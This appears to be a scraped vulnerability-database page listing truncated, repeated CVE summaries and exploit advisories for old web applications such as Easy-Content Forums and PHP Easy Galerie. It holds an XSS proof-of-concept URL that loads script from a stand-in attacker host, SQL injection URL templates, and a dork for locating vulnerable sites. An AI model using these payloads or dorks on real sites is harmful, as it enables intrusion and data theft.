Easy Ad-Manager

Easy Ad-Manager v. unknown, not listed on homepage Homepage: http://www.scriptsez.net Effected files: details.php XSS Vulnerability with full path disclosure: http://www.example.com/eam/details.php?do=load&mbid=/SCRIPT20SRC=http://evilsite.com/xss.js/SCRIPT Warning: fopenstats//This is remote tex...

CVE-2006-2813

Directory traversal vulnerability in easy-scart.cgi in iShopCart allows remote attackers to read arbitrary files via a .. dot dot in the query string...

CVE-2006-2813

CVE-2006-2813 describes a directory traversal vulnerability in the product component easy-scart.cgi of iShopCart . An attacker can exploit a .. (dot dot) sequence in the query string to read arbitrary files. The NVD entry lists a high risk (CVSS v2 base score 7.8) with network access and low comp...

Cross site scripting

Cross-site scripting XSS vulnerabilities in Easy-Content Forums 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 startletter parameter in userview.asp and the 2 catid parameter in topics.asp...

CVE-2006-2697

Multiple SQL injection vulnerabilities in Easy-Content Forums 1.0 allow remote attackers to execute arbitrary SQL commands via the 1 startletter parameter in userview.asp and the 2 forumname parameter in topics.asp...

CVE-2006-2696

Cross-site scripting XSS vulnerabilities in Easy-Content Forums 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 startletter parameter in userview.asp and the 2 catid parameter in topics.asp...

Sql injection

Multiple SQL injection vulnerabilities in Easy-Content Forums 1.0 allow remote attackers to execute arbitrary SQL commands via the 1 startletter parameter in userview.asp and the 2 forumname parameter in topics.asp...

CVE-2006-2697

Multiple SQL injection vulnerabilities in Easy-Content Forums 1.0 allow remote attackers to execute arbitrary SQL commands via the 1 startletter parameter in userview.asp and the 2 forumname parameter in topics.asp...

CVE-2006-2696

Cross-site scripting XSS vulnerabilities in Easy-Content Forums 1.0 allow remote attackers to inject arbitrary web script or HTML via the 1 startletter parameter in userview.asp and the 2 catid parameter in topics.asp...

CVE-2006-2697

CVE-2006-2697 concerns SQL injection vulnerabilities in Easy-Content Forums 1.0. The affected components are the web scripts and parameters: startletter in userview.asp and forumname in topics.asp, where user-supplied input can be used to alter SQL queries. This is documented in the NVD descripti...

CVE-2006-2696

CVE-2006-2696 describes Cross-site scripting (XSS) in Easy-Content Forums 1.0. The vulnerability allows remote attackers to inject arbitrary web script or HTML via the (1) startletter parameter in userview.asp and (2) catid parameter in topics.asp. Public records indicate an impact on confidentia...

Easy-Content Forums 1.0 Multiple [SQL/XSS] Vulnerabilities

ENGLISH Title : Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities Dork : "Copyright 2004 easy-content forums" Author : ajann Exploit; SQL INJECTON-------------------------------------------------------- http://target/path/userview.asp?startletter=SQL TEXT...

Easy-Content Forums 1.0 - Multiple SQL Injection Cross-Site Scripting Vulnerabilities

Easy-Content Forums 1.0 - Multiple SQL Injection Cross-Site Scripting Vulnerabilities ENGLISH Title : Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities Dork : "Copyright 2004 easy-content forums" Author : ajann Exploit; SQL INJECT.ON--------------------------------------------------------...

Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities

Exploit for unknown platform in category web applications...

Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities

No description provided by source. ENGLISH Title : Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities Dork : "Copyright 2004 easy-content forums" Author : ajann Exploit; SQL INJECT.ON-------------------------------------------------------- http://target/path/userview.asp?startletter=SQL TEX...

Easy-Content Forums 1.0 - Multiple SQL Injection / Cross-Site Scripting Vulnerabilities

ENGLISH Title : Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities Dork : "Copyright 2004 easy-content forums" Author : ajann Exploit; SQL INJECT.ON-------------------------------------------------------- http://target/path/userview.asp?startletter=SQL TEXT...

PHP Easy Galerie Index.PHP Remote File Include Vulnerability

Vendor: Power-Place www.power-place.net PHP Easy Galerie 1.1 ------------------------------------------------- Author:Craziest Contact: craziestatgmaildotcom Vuln discovered by BrEakerS -------------------------------------------------- Method:An attacker can exploit this issue to include an...

CVE-2006-2526

The CVE-2006-2526 issue affects PHP Easy Galerie 1.1, via a PHP remote file inclusion in index.php where includepath can be manipulated to execute arbitrary PHP code. The NVD entry assigns a MEDIUM risk (base score 6.4) with network access and no authentication, and the impact is partial confiden...

CVE-2006-2226

Buffer overflow in XM Easy Personal FTP Server 4.2 and 5.0.1 allows remote authenticated users to cause a denial of service via a long argument to the PORT command...

Buffer overflow

Buffer overflow in XM Easy Personal FTP Server 4.3 and earlier allows remote attackers to execute arbitrary code, probably via a USER command with a long username...